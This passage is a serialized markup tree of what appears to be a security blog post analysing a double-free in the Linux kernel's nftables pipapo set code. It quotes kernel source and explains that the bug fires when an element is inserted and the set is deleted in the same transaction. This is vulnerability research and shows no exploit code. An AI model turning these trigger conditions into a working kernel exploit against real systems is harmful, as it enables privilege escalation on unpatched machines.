const",{"type":25,"tag":201,"props":52748,"children":52749},{"style":208},[52750],{"type":31,"value":22646},{"type":25,"tag":201,"props":52752,"children":52753},{"style":220},[52754],{"type":31,"value":52177},{"type":25,"tag":201,"props":52756,"children":52757},{"style":261},[52758],{"type":31,"value":6077},{"type":25,"tag":201,"props":52760,"children":52761},{"style":246},[52762],{"type":31,"value":52097},{"type":25,"tag":201,"props":52764,"children":52765},{"style":220},[52766],{"type":31,"value":547},{"type":25,"tag":201,"props":52768,"children":52769},{"class":203,"line":278},[52770,52774,52778,52783,52787,52792],{"type":25,"tag":201,"props":52771,"children":52772},{"style":208},[52773],{"type":31,"value":52746},{"type":25,"tag":201,"props":52775,"children":52776},{"style":208},[52777],{"type":31,"value":22646},{"type":25,"tag":201,"props":52779,"children":52780},{"style":220},[52781],{"type":31,"value":52782}," nft_elem_priv ",{"type":25,"tag":201,"props":52784,"children":52785},{"style":261},[52786],{"type":31,"value":6077},{"type":25,"tag":201,"props":52788,"children":52789},{"style":246},[52790],{"type":31,"value":52791},"elem_priv",{"type":25,"tag":201,"props":52793,"children":52794},{"style":220},[52795],{"type":31,"value":4666},{"type":25,"tag":201,"props":52797,"children":52798},{"class":203,"line":311},[52799],{"type":25,"tag":201,"props":52800,"children":52801},{"style":220},[52802],{"type":31,"value":1822},{"type":25,"tag":201,"props":52804,"children":52805},{"class":203,"line":330},[52806,52810,52815,52819,52824,52828,52833],{"type":25,"tag":201,"props":52807,"children":52808},{"style":208},[52809],{"type":31,"value":22646},{"type":25,"tag":201,"props":52811,"children":52812},{"style":220},[52813],{"type":31,"value":52814}," nft_set_ext ",{"type":25,"tag":201,"props":52816,"children":52817},{"style":261},[52818],{"type":31,"value":6077},{"type":25,"tag":201,"props":52820,"children":52821},{"style":220},[52822],{"type":31,"value":52823},"ext ",{"type":25,"tag":201,"props":52825,"children":52826},{"style":261},[52827],{"type":31,"value":1383},{"type":25,"tag":201,"props":52829,"children":52830},{"style":214},[52831],{"type":31,"value":52832}," nft_set_elem_ext",{"type":25,"tag":201,"props":52834,"children":52835},{"style":220},[52836],{"type":31,"value":52837},"(set, elem_priv);\n",{"type":25,"tag":201,"props":52839,"children":52840},{"class":203,"line":397},[52841],{"type":25,"tag":201,"props":52842,"children":52843},{"emptyLinePlaceholder":17},[52844],{"type":31,"value":496},{"type":25,"tag":201,"props":52846,"children":52847},{"class":203,"line":437},[52848,52852,52856,52861],{"type":25,"tag":201,"props":52849,"children":52850},{"style":230},[52851],{"type":31,"value":17283},{"type":25,"tag":201,"props":52853,"children":52854},{"style":220},[52855],{"type":31,"value":238},{"type":25,"tag":201,"props":52857,"children":52858},{"style":214},[52859],{"type":31,"value":52860},"nft_set_ext_exists",{"type":25,"tag":201,"props":52862,"children":52863},{"style":220},[52864],{"type":31,"value":52865},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":25,"tag":201,"props":52867,"children":52868},{"class":203,"line":464},[52869,52874,52879,52884],{"type":25,"tag":201,"props":52870,"children":52871},{"style":214},[52872],{"type":31,"value":52873},"  nft_set_elem_expr_destroy",{"type":25,"tag":201,"props":52875,"children":52876},{"style":220},[52877],{"type":31,"value":52878},"(ctx, ",{"type":25,"tag":201,"props":52880,"children":52881},{"style":214},[52882],{"type":31,"value":52883},"nft_set_ext_expr",{"type":25,"tag":201,"props":52885,"children":52886},{"style":220},[52887],{"type":31,"value":52888},"(ext));\n",{"type":25,"tag":201,"props":52890,"children":52891},{"class":203,"line":490},[52892],{"type":25,"tag":201,"props":52893,"children":52894},{"emptyLinePlaceholder":17},[52895],{"type":31,"value":496},{"type":25,"tag":201,"props":52897,"children":52898},{"class":203,"line":499},[52899,52904],{"type":25,"tag":201,"props":52900,"children":52901},{"style":214},[52902],{"type":31,"value":52903}," kfree",{"type":25,"tag":201,"props":52905,"children":52906},{"style":220},[52907],{"type":31,"value":52908},"(elem_priv);\n",{"type":25,"tag":201,"props":52910,"children":52911},{"class":203,"line":522},[52912],{"type":25,"tag":201,"props":52913,"children":52914},{"style":220},[52915],{"type":31,"value":1187},{"type":25,"tag":34,"props":52917,"children":52918},{},[52919,52920,52926,52928,52933,52935,52940,52942,52947,52948,52953,52955,52960,52962,52967,52969,52974],{"type":31,"value":18109},{"type":25,"tag":115,"props":52921,"children":52923},{"className":52922},[],[52924],{"type":31,"value":52925},"nft_pipapo_match",{"type":31,"value":52927}," objects contain views of the ",{"type":25,"tag":115,"props":52929,"children":52931},{"className":52930},[],[52932],{"type":31,"value":52089},{"type":31,"value":52934},"'s of a ",{"type":25,"tag":115,"props":52936,"children":52938},{"className":52937},[],[52939],{"type":31,"value":52097},{"type":31,"value":52941},". The difference between the ",{"type":25,"tag":115,"props":52943,"children":52945},{"className":52944},[],[52946],{"type":31,"value":52074},{"type":31,"value":12493},{"type":25,"tag":115,"props":52949,"children":52951},{"className":52950},[],[52952],{"type":31,"value":52058},{"type":31,"value":52954}," match objects is that the clone has a view of not only already committed ",{"type":25,"tag":115,"props":52956,"children":52958},{"className":52957},[],[52959],{"type":31,"value":52089},{"type":31,"value":52961},"'s that the \"normal\" one has but also a view of the ",{"type":25,"tag":115,"props":52963,"children":52965},{"className":52964},[],[52966],{"type":31,"value":52089},{"type":31,"value":52968},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":25,"tag":115,"props":52970,"children":52972},{"className":52971},[],[52973],{"type":31,"value":52074},{"type":31,"value":80},{"type":25,"tag":40,"props":52976,"children":52978},{"id":52977},"root-cause-analysis",[52979],{"type":31,"value":52980},"Root-cause analysis",{"type":25,"tag":34,"props":52982,"children":52983},{},[52984,52986,52992,52994,52999],{"type":31,"value":52985},"So ",{"type":25,"tag":115,"props":52987,"children":52989},{"className":52988},[],[52990],{"type":31,"value":52991},"nf_tables_set_elem_destroy",{"type":31,"value":52993}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":25,"tag":115,"props":52995,"children":52997},{"className":52996},[],[52998],{"type":31,"value":52089},{"type":31,"value":53000},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":25,"tag":34,"props":53002,"children":53003},{},[53004,53006,53011,53013,53018,53020,53025,53027,53032,53034,53039],{"type":31,"value":53005},"We should now try to understand how to reach that path with the ",{"type":25,"tag":115,"props":53007,"children":53009},{"className":53008},[],[53010],{"type":31,"value":52051},{"type":31,"value":53012}," flag set, which is a member of the private data of a pipapo ",{"type":25,"tag":115,"props":53014,"children":53016},{"className":53015},[],[53017],{"type":31,"value":52089},{"type":31,"value":53019}," that becomes true whenever a change is made to the ",{"type":25,"tag":115,"props":53021,"children":53023},{"className":53022},[],[53024],{"type":31,"value":52097},{"type":31,"value":53026}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":25,"tag":115,"props":53028,"children":53030},{"className":53029},[],[53031],{"type":31,"value":52097},{"type":31,"value":53033}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":25,"tag":115,"props":53035,"children":53037},{"className":53036},[],[53038],{"type":31,"value":52097},{"type":31,"value":53040}," dirty by inserting a new element.",{"type":25,"tag":191,"props":53042,"children":53044},{"className":18010,"code":53043,"language":4652,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[53045],{"type":25,"tag":115,"props":53046,"children":53047},{"__ignoreMap":7},[53048,53118,53147,53172,53179,53186,53215,53222],{"type":25,"tag":201,"props":53049,"children":53050},{"class":203,"line":204},[53051,53055,53059,53064,53068,53072,53076,53081,53085,53090,53094,53098,53102,53106,53110,53114],{"type":25,"tag":201,"props":53052,"children":53053},{"style":208},[53054],{"type":31,"value":52122},{"type":25,"tag":201,"props":53056,"children":53057},{"style":208},[53058],{"type":31,"value":52251},{"type":25,"tag":201,"props":53060,"children":53061},{"style":214},[53062],{"type":31,"value":53063}," nft_pipapo_insert",{"type":25,"tag":201,"props":53065,"children":53066},{"style":220},[53067],{"type":31,"value":298},{"type":25,"tag":201,"props":53069,"children":53070},{"style":208},[53071],{"type":31,"value":4074},{"type":25,"tag":201,"props":53073,"children":53074},{"style":208},[53075],{"type":31,"value":22646},{"type":25,"tag":201,"props":53077,"children":53078},{"style":220},[53079],{"type":31,"value":53080}," net ",{"type":25,"tag":201,"props":53082,"children":53083},{"style":261},[53084],{"type":31,"value":6077},{"type":25,"tag":201,"props":53086,"children":53087},{"style":246},[53088],{"type":31,"value":53089},"net",{"type":25,"tag":201,"props":53091,"children":53092},{"style":220},[53093],{"type":31,"value":919},{"type":25,"tag":201,"props":53095,"children":53096},{"style":208},[53097],{"type":31,"value":4074},{"type":25,"tag":201,"props":53099,"children":53100},{"style":208},[53101],{"type":31,"value":22646},{"type":25,"tag":201,"props":53103,"children":53104},{"style":220},[53105],{"type":31,"value":52177},{"type":25,"tag":201,"props":53107,"children":53108},{"style":261},[53109],{"type":31,"value":6077},{"type":25,"tag":201,"props":53111,"children":53112},{"style":246},[53113],{"type":31,"value":52097},{"type":25,"tag":201,"props":53115,"children":53116},{"style":220},[53117],{"type":31,"value":547},{"type":25,"tag":201,"props":53119,"children":53120},{"class":203,"line":226},[53121,53125,53129,53134,53138,53143],{"type":25,"tag":201,"props":53122,"children":53123},{"style":208},[53124],{"type":31,"value":1830},{"type":25,"tag":201,"props":53126,"children":53127},{"style":208},[53128],{"type":31,"value":22646},{"type":25,"tag":201,"props":53130,"children":53131},{"style":220},[53132],{"type":31,"value":53133}," nft_set_elem ",{"type":25,"tag":201,"props":53135,"children":53136},{"style":261},[53137],{"type":31,"value":6077},{"type":25,"tag":201,"props":53139,"children":53140},{"style":246},[53141],{"type":31,"value":53142},"elem",{"type":25,"tag":201,"props":53144,"children":53145},{"style":220},[53146],{"type":31,"value":547},{"type":25,"tag":201,"props":53148,"children":53149},{"class":203,"line":278},[53150,53155,53159,53164,53168],{"type":25,"tag":201,"props":53151,"children":53152},{"style":208},[53153],{"type":31,"value":53154},"        struct",{"type":25,"tag":201,"props":53156,"children":53157},{"style":220},[53158],{"type":31,"value":52782},{"type":25,"tag":201,"props":53160,"children":53161},{"style":261},[53162],{"type":31,"value":53163},"**",{"type":25,"tag":201,"props":53165,"children":53166},{"style":246},[53167],{"type":31,"value":52791},{"type":25,"tag":201,"props":53169,"children":53170},{"style":220},[53171],{"type":31,"value":4666},{"type":25,"tag":201,"props":53173,"children":53174},{"class":203,"line":311},[53175],{"type":25,"tag":201,"props":53176,"children":53177},{"style":220},[53178],{"type":31,"value":1822},{"type":25,"tag":201,"props":53180,"children":53181},{"class":203,"line":330},[53182],{"type":25,"tag":201,"props":53183,"children":53184},{"style":220},[53185],{"type":31,"value":11821},{"type":25,"tag":201,"props":53187,"children":53188},{"class":203,"line":397},[53189,53194,53198,53203,53207,53211],{"type":25,"tag":201,"props":53190,"children":53191},{"style":246},[53192],{"type":31,"value":53193}," priv",{"type":25,"tag":201,"props":53195,"children":53196},{"style":220},[53197],{"type":31,"value":15259},{"type":25,"tag":201,"props":53199,"children":53200},{"style":246},[53201],{"type":31,"value":53202},"dirty",{"type":25,"tag":201,"props":53204,"children":53205},{"style":261},[53206],{"type":31,"value":413},{"type":25,"tag":201,"props":53208,"children":53209},{"style":208},[53210],{"type":31,"value":13971},{"type":25,"tag":201,"props":53212,"children":53213},{"style":220},[53214],{"type":31,"value":461},{"type":25,"tag":201,"props":53216,"children":53217},{"class":203,"line":437},[53218],{"type":25,"tag":201,"props":53219,"children":53220},{"style":220},[53221],{"type":31,"value":11821},{"type":25,"tag":201,"props":53223,"children":53224},{"class":203,"line":464},[53225],{"type":25,"tag":201,"props":53226,"children":53227},{"style":220},[53228],{"type":31,"value":1187},{"type":25,"tag":34,"props":53230,"children":53231},{},[53232],{"type":31,"value":53233},"We also see that when the changes are commited, this flag is then unset.",{"type":25,"tag":191,"props":53235,"children":53237},{"className":18010,"code":53236,"language":4652,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[53238],{"type":25,"tag":115,"props":53239,"children":53240},{"__ignoreMap":7},[53241,53281,53288,53295,53326,53337,53344,53371,53378],{"type":25,"tag":201,"props":53242,"children":53243},{"class":203,"line":204},[53244,53248,53252,53257,53261,53265,53269,53273,53277],{"type":25,"tag":201,"props":53245,"children":53246},{"style":208},[53247],{"type":31,"value":52122},{"type":25,"tag":201,"props":53249,"children":53250},{"style":208},[53251],{"type":31,"value":52127},{"type":25,"tag":201,"props":53253,"children":53254},{"style":214},[53255],{"type":31,"value":53256}," nft_pipapo_commit",{"type":25,"tag":201,"props":53258,"children":53259},{"style":220},[53260],{"type":31,"value":298},{"type":25,"tag":201,"props":53262,"children":53263},{"style":208},[53264],{"type":31,"value":10905},{"type":25,"tag":201,"props":53266,"children":53267},{"style":220},[53268],{"type":31,"value":52177},{"type":25,"tag":201,"props":53270,"children":53271},{"style":261},[53272],{"type":31,"value":6077},{"type":25,"tag":201,"props":53274,"children":53275},{"style":246},[53276],{"type":31,"value":52097},{"type":25,"tag":201,"props":53278,"children":53279},{"style":220},[53280],{"type":31,"value":4666},{"type":25,"tag":201,"props":53282,"children":53283},{"class":203,"line":226},[53284],{"type":25,"tag":201,"props":53285,"children":53286},{"style":220},[53287],{"type":31,"value":1822},{"type":25,"tag":201,"props":53289,"children":53290},{"class":203,"line":278},[53291],{"type":25,"tag":201,"props":53292,"children":53293},{"style":220},[53294],{"type":31,"value":11821},{"type":25,"tag":201,"props":53296,"children":53297},{"class":203,"line":311},[53298,53302,53306,53310,53314,53318,53322],{"type":25,"tag":201,"props":53299,"children":53300},{"style":230},[53301],{"type":31,"value":17283},{"type":25,"tag":201,"props":53303,"children":53304},{"style":220},[53305],{"type":31,"value":238},{"type":25,"tag":201,"props":53307,"children":53308},{"style":261},[53309],{"type":31,"value":4114},{"type":25,"tag":201,"props":53311,"children":53312},{"style":246},[53313],{"type":31,"value":52653},{"type":25,"tag":201,"props":53315,"children":53316},{"style":220},[53317],{"type":31,"value":15259},{"type":25,"tag":201,"props":53319,"children":53320},{"style":246},[53321],{"type":31,"value":53202},{"type":25,"tag":201,"props":53323,"children":53324},{"style":220},[53325],{"type":31,"value":4666},{"type":25,"tag":201,"props":53327,"children":53328},{"class":203,"line":330},[53329,53333],{"type":25,"tag":201,"props":53330,"children":53331},{"style":230},[53332],{"type":31,"value":40269},{"type":25,"tag":201,"props":53334,"children":53335},{"style":220},[53336],{"type":31,"value":461},{"type":25,"tag":201,"props":53338,"children":53339},{"class":203,"line":397},[53340],{"type":25,"tag":201,"props":53341,"children":53342},{"style":220},[53343],{"type":31,"value":11821},{"type":25,"tag":201,"props":53345,"children":53346},{"class":203,"line":437},[53347,53351,53355,53359,53363,53367],{"type":25,"tag":201,"props":53348,"children":53349},{"style":246},[53350],{"type":31,"value":53193},{"type":25,"tag":201,"props":53352,"children":53353},{"style":220},[53354],{"type":31,"value":15259},{"type":25,"tag":201,"props":53356,"children":53357},{"style":246},[53358],{"type":31,"value":53202},{"type":25,"tag":201,"props":53360,"children":53361},{"style":261},[53362],{"type":31,"value":413},{"type":25,"tag":201,"props":53364,"children":53365},{"style":208},[53366],{"type":31,"value":542},{"type":25,"tag":201,"props":53368,"children":53369},{"style":220},[53370],{"type":31,"value":461},{"type":25,"tag":201,"props":53372,"children":53373},{"class":203,"line":464},[53374],{"type":25,"tag":201,"props":53375,"children":53376},{"style":220},[53377],{"type":31,"value":11821},{"type":25,"tag":201,"props":53379,"children":53380},{"class":203,"line":490},[53381],{"type":25,"tag":201,"props":53382,"children":53383},{"style":220},[53384],{"type":31,"value":1187},{"type":25,"tag":34,"props":53386,"children":53387},{},[53388,53390,53395,53397,53402,53404,53409,53411,53416,53418,53424,53426,53432,53434,53439],{"type":31,"value":53389},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":25,"tag":115,"props":53391,"children":53393},{"className":53392},[],[53394],{"type":31,"value":52089},{"type":31,"value":53396}," in the ",{"type":25,"tag":115,"props":53398,"children":53400},{"className":53399},[],[53401],{"type":31,"value":52097},{"type":31,"value":53403}," to make it dirty and then delete the ",{"type":25,"tag":115,"props":53405,"children":53407},{"className":53406},[],[53408],{"type":31,"value":52097},{"type":31,"value":53410},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":25,"tag":115,"props":53412,"children":53414},{"className":53413},[],[53415],{"type":31,"value":52097},{"type":31,"value":53417},"'s ",{"type":25,"tag":115,"props":53419,"children":53421},{"className":53420},[],[53422],{"type":31,"value":53423},"->commit()",{"type":31,"value":53425}," method is executed before its ",{"type":25,"tag":115,"props":53427,"children":53429},{"className":53428},[],[53430],{"type":31,"value":53431},"->destroy()",{"type":31,"value":53433}," method, then the ",{"type":25,"tag":115,"props":53435,"children":53437},{"className":53436},[],[53438],{"type":31,"value":53202},{"type":31,"value":53440}," flag will be unset, and we won't be able to trigger the double-free.",{"type":25,"tag":34,"props":53442,"children":53443},{},[53444],{"type":31,"value":53445},"Let's once again refer to the code and see how these methods are called.",{"type":25,"tag":191,"props":53447,"children":53449},{"className":18010,"code":53448,"language":4652,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[53450],{"type":25,"tag":115,"props":53451,"children":53452},{"__ignoreMap":7},[53453,53515,53522,53529,53537,53550,53585,53619,53661,53683,53695,53708,53715,53763,53804,53844,53857,53864,53871,53878,53885,53910,53917,53930,53937,53953],{"type":25,"tag":201,"props":53454,"children":53455},{"class":203,"line":204},[53456,53460,53464,53469,53473,53477,53481,53485,53489,53493,53497,53502,53506,53511],{"type":25,"tag":201,"props":53457,"children":53458},{"style":208},[53459],{"type":31,"value":52122},{"type":25,"tag":201,"props":53461,"children":53462},{"style":208},[53463],{"type":31,"value":52251},{"type":25,"tag":201,"props":53465,"children":53466},{"style":214},[53467],{"type":31,"value":53468}," nf_tables_commit",{"type":25,"tag":201,"props":53470,"children":53471},{"style":220},[53472],{"type":31,"value":298},{"type":25,"tag":201,"props":53474,"children":53475},{"style":208},[53476],{"type":31,"value":10905},{"type":25,"tag":201,"props":53478,"children":53479},{"style":220},[53480],{"type":31,"value":53080},{"type":25,"tag":201,"props":53482,"children":53483},{"style":261},[53484],{"type":31,"value":6077},{"type":25,"tag":201,"props":53486,"children":53487},{"style":246},[53488],{"type":31,"value":53089},{"type":25,"tag":201,"props":53490,"children":53491},{"style":220},[53492],{"type":31,"value":919},{"type":25,"tag":201,"props":53494,"children":53495},{"style":208},[53496],{"type":31,"value":10905},{"type":25,"tag":201,"props":53498,"children":53499},{"style":220},[53500],{"type":31,"value":53501}," sk_buff ",{"type":25,"tag":201,"props":53503,"children":53504},{"style":261},[53505],{"type":31,"value":6077},{"type":25,"tag":201,"props":53507,"children":53508},{"style":246},[53509],{"type":31,"value":53510},"skb",{"type":25,"tag":201,"props":53512,"children":53513},{"style":220},[53514],{"type":31,"value":4666},{"type":25,"tag":201,"props":53516,"children":53517},{"class":203,"line":226},[53518],{"type":25,"tag":201,"props":53519,"children":53520},{"style":220},[53521],{"type":31,"value":1822},{"type":25,"tag":201,"props":53523,"children":53524},{"class":203,"line":278},[53525],{"type":25,"tag":201,"props":53526,"children":53527},{"style":220},[53528],{"type":31,"value":11821},{"type":25,"tag":201,"props":53530,"children":53531},{"class":203,"line":311},[53532],{"type":25,"tag":201,"props":53533,"children":53534},{"style":220},[53535],{"type":31,"value":53536},"  case NFT_MSG_DELSET:\n",{"type":25,"tag":201,"props":53538,"children":53539},{"class":203,"line":330},[53540,53545],{"type":25,"tag":201,"props":53541,"children":53542},{"style":220},[53543],{"type":31,"value":53544},"  case NFT_MSG_DESTROYSET:",{"type":25,"tag":201,"props":53546,"children":53547},{"style":4497},[53548],{"type":31,"value":53549}," // [1]\n",{"type":25,"tag":201,"props":53551,"children":53552},{"class":203,"line":397},[53553,53558,53563,53568,53572,53576,53580],{"type":25,"tag":201,"props":53554,"children":53555},{"style":214},[53556],{"type":31,"value":53557},"   nft_trans_set",{"type":25,"tag":201,"props":53559,"children":53560},{"style":220},[53561],{"type":31,"value":53562},"(trans)->",{"type":25,"tag":201,"props":53564,"children":53565},{"style":246},[53566],{"type":31,"value":53567},"dead",{"type":25,"tag":201,"props":53569,"children":53570},{"style":261},[53571],{"type":31,"value":413},{"type":25,"tag":201,"props":53573,"children":53574},{"style":426},[53575],{"type":31,"value":6029},{"type":25,"tag":201,"props":53577,"children":53578},{"style":220},[53579],{"type":31,"value":50151},{"type":25,"tag":201,"props":53581,"children":53582},{"style":4497},[53583],{"type":31,"value":53584}," // [2]\n",{"type":25,"tag":201,"props":53586,"children":53587},{"class":203,"line":437},[53588,53593,53597,53601,53606,53610,53615],{"type":25,"tag":201,"props":53589,"children":53590},{"style":214},[53591],{"type":31,"value":53592},"   list_del_rcu",{"type":25,"tag":201,"props":53594,"children":53595},{"style":220},[53596],{"type":31,"value":298},{"type":25,"tag":201,"props":53598,"children":53599},{"style":261},[53600],{"type":31,"value":4615},{"type":25,"tag":201,"props":53602,"children":53603},{"style":214},[53604],{"type":31,"value":53605},"nft_trans_set",{"type":25,"tag":201,"props":53607,"children":53608},{"style":220},[53609],{"type":31,"value":53562},{"type":25,"tag":201,"props":53611,"children":53612},{"style":246},[53613],{"type":31,"value":53614},"list",{"type":25,"tag":201,"props":53616,"children":53617},{"style":220},[53618],{"type":31,"value":308},{"type":25,"tag":201,"props":53620,"children":53621},{"class":203,"line":464},[53622,53627,53631,53635,53640,53644,53648,53652,53656],{"type":25,"tag":201,"props":53623,"children":53624},{"style":214},[53625],{"type":31,"value":53626},"   nf_tables_set_notify",{"type":25,"tag":201,"props":53628,"children":53629},{"style":220},[53630],{"type":31,"value":298},{"type":25,"tag":201,"props":53632,"children":53633},{"style":261},[53634],{"type":31,"value":4615},{"type":25,"tag":201,"props":53636,"children":53637},{"style":246},[53638],{"type":31,"value":53639},"trans",{"type":25,"tag":201,"props":53641,"children":53642},{"style":220},[53643],{"type":31,"value":15259},{"type":25,"tag":201,"props":53645,"children":53646},{"style":246},[53647],{"type":31,"value":21777},{"type":25,"tag":201,"props":53649,"children":53650},{"style":220},[53651],{"type":31,"value":919},{"type":25,"tag":201,"props":53653,"children":53654},{"style":214},[53655],{"type":31,"value":53605},{"type":25,"tag":201,"props":53657,"children":53658},{"style":220},[53659],{"type":31,"value":53660},"(trans),\n",{"type":25,"tag":201,"props":53662,"children":53663},{"class":203,"line":490},[53664,53669,53673,53678],{"type":25,"tag":201,"props":53665,"children":53666},{"style":246},[53667],{"type":31,"value":53668},"          trans",{"type":25,"tag":201,"props":53670,"children":53671},{"style":220},[53672],{"type":31,"value":15259},{"type":25,"tag":201,"props":53674,"children":53675},{"style":246},[53676],{"type":31,"value":53677},"msg_type",{"type":25,"tag":201,"props":53679,"children":53680},{"style":220},[53681],{"type":31,"value":53682},", GFP_KERNEL);\n",{"type":25,"tag":201,"props":53684,"children":53685},{"class":203,"line":499},[53686,53691],{"type":25,"tag":201,"props":53687,"children":53688},{"style":230},[53689],{"type":31,"value":53690},"   break",{"type":25,"tag":201,"props":53692,"children":53693},{"style":220},[53694],{"type":31,"value":461},{"type":25,"tag":201,"props":53696,"children":53697},{"class":203,"line":522},[53698,53703],{"type":25,"tag":201,"props":53699,"children":53700},{"style":220},[53701],{"type":31,"value":53702},"  case NFT_MSG_NEWSETELEM:",{"type":25,"tag":201,"props":53704,"children":53705},{"style":4497},[53706],{"type":31,"value":53707}," // [3]\n",{"type":25,"tag":201,"props":53709,"children":53710},{"class":203,"line":531},[53711],{"type":25,"tag":201,"props":53712,"children":53713},{"style":220},[53714],{"type":31,"value":11821},{"type":25,"tag":201,"props":53716,"children":53717},{"class":203,"line":550},[53718,53723,53727,53732,53736,53740,53744,53749,53753,53758],{"type":25,"tag":201,"props":53719,"children":53720},{"style":230},[53721],{"type":31,"value":53722},"   if",{"type":25,"tag":201,"props":53724,"children":53725},{"style":220},[53726],{"type":31,"value":238},{"type":25,"tag":201,"props":53728,"children":53729},{"style":246},[53730],{"type":31,"value":53731},"te",{"type":25,"tag":201,"props":53733,"children":53734},{"style":220},[53735],{"type":31,"value":15259},{"type":25,"tag":201,"props":53737,"children":53738},{"style":246},[53739],{"type":31,"value":52097},{"type":25,"tag":201,"props":53741,"children":53742},{"style":220},[53743],{"type":31,"value":15259},{"type":25,"tag":201,"props":53745,"children":53746},{"style":246},[53747],{"type":31,"value":53748},"ops",{"type":25,"tag":201,"props":53750,"children":53751},{"style":220},[53752],{"type":31,"value":15259},{"type":25,"tag":201,"props":53754,"children":53755},{"style":246},[53756],{"type":31,"value":53757},"commit",{"type":25,"tag":201,"props":53759,"children":53760},{"style":261},[53761],{"type":31,"value":53762}," &&\n",{"type":25,"tag":201,"props":53764,"children":53765},{"class":203,"line":563},[53766,53771,53775,53779,53783,53787,53791,53795,53800],{"type":25,"tag":201,"props":53767,"children":53768},{"style":214},[53769],{"type":31,"value":53770},"       list_empty",{"type":25,"tag":201,"props":53772,"children":53773},{"style":220},[53774],{"type":31,"value":298},{"type":25,"tag":201,"props":53776,"children":53777},{"style":261},[53778],{"type":31,"value":4615},{"type":25,"tag":201,"props":53780,"children":53781},{"style":246},[53782],{"type":31,"value":53731},{"type":25,"tag":201,"props":53784,"children":53785},{"style":220},[53786],{"type":31,"value":15259},{"type":25,"tag":201,"props":53788,"children":53789},{"style":246},[53790],{"type":31,"value":52097},{"type":25,"tag":201,"props":53792,"children":53793},{"style":220},[53794],{"type":31,"value":15259},{"type":25,"tag":201,"props":53796,"children":53797},{"style":246},[53798],{"type":31,"value":53799},"pending_update",{"type":25,"tag":201,"props":53801,"children":53802},{"style":220},[53803],{"type":31,"value":4141},{"type":25,"tag":201,"props":53805,"children":53806},{"class":203,"line":572},[53807,53812,53816,53820,53824,53828,53832,53836,53840],{"type":25,"tag":201,"props":53808,"children":53809},{"style":214},[53810],{"type":31,"value":53811},"    list_add_tail",{"type":25,"tag":201,"props":53813,"children":53814},{"style":220},[53815],{"type":31,"value":298},{"type":25,"tag":201,"props":53817,"children":53818},{"style":261},[53819],{"type":31,"value":4615},{"type":25,"tag":201,"props":53821,"children":53822},{"style":246},[53823],{"type":31,"value":53731},{"type":25,"tag":201,"props":53825,"children":53826},{"style":220},[53827],{"type":31,"value":15259},{"type":25,"tag":201,"props":53829,"children":53830},{"style":246},[53831],{"type":31,"value":52097},{"type":25,"tag":201,"props":53833,"children":53834},{"style":220},[53835],{"type":31,"value":15259},{"type":25,"tag":201,"props":53837,"children":53838},{"style":246},[53839],{"type":31,"value":53799},{"type":25,"tag":201,"props":53841,"children":53842},{"style":220},[53843],{"type":31,"value":547},{"type":25,"tag":201,"props":53845,"children":53846},{"class":203,"line":590},[53847,53852],{"type":25,"tag":201,"props":53848,"children":53849},{"style":261},[53850],{"type":31,"value":53851},"           &",{"type":25,"tag":201,"props":53853,"children":53854},{"style":220},[53855],{"type":31,"value":53856},"set_update_list);\n",{"type":25,"tag":201,"props":53858,"children":53859},{"class":203,"line":608},[53860],{"type":25,"tag":201,"props":53861,"children":53862},{"style":220},[53863],{"type":31,"value":3689},{"type":25,"tag":201,"props":53865,"children":53866},{"class":203,"line":617},[53867],{"type":25,"tag":201,"props":53868,"children":53869},{"style":220},[53870],{"type":31,"value":11821},{"type":25,"tag":201,"props":53872,"children":53873},{"class":203,"line":625},[53874],{"type":25,"tag":201,"props":53875,"children":53876},{"style":220},[53877],{"type":31,"value":11100},{"type":25,"tag":201,"props":53879,"children":53880},{"class":203,"line":642},[53881],{"type":25,"tag":201,"props":53882,"children":53883},{"emptyLinePlaceholder":17},[53884],{"type":31,"value":496},{"type":25,"tag":201,"props":53886,"children":53887},{"class":203,"line":659},[53888,53893,53897,53901,53906],{"type":25,"tag":201,"props":53889,"children":53890},{"style":214},[53891],{"type":31,"value":53892}," nft_set_commit_update",{"type":25,"tag":201,"props":53894,"children":53895},{"style":220},[53896],{"type":31,"value":298},{"type":25,"tag":201,"props":53898,"children":53899},{"style":261},[53900],{"type":31,"value":4615},{"type":25,"tag":201,"props":53902,"children":53903},{"style":246},[53904],{"type":31,"value":53905},"set_update_list",{"type":25,"tag":201,"props":53907,"children":53908},{"style":220},[53909],{"type":31,"value":308},{"type":25,"tag":201,"props":53911,"children":53912},{"class":203,"line":667},[53913],{"type":25,"tag":201,"props":53914,"children":53915},{"style":220},[53916],{"type":31,"value":11821},{"type":25,"tag":201,"props":53918,"children":53919},{"class":203,"line":676},[53920,53925],{"type":25,"tag":201,"props":53921,"children":53922},{"style":214},[53923],{"type":31,"value":53924}," 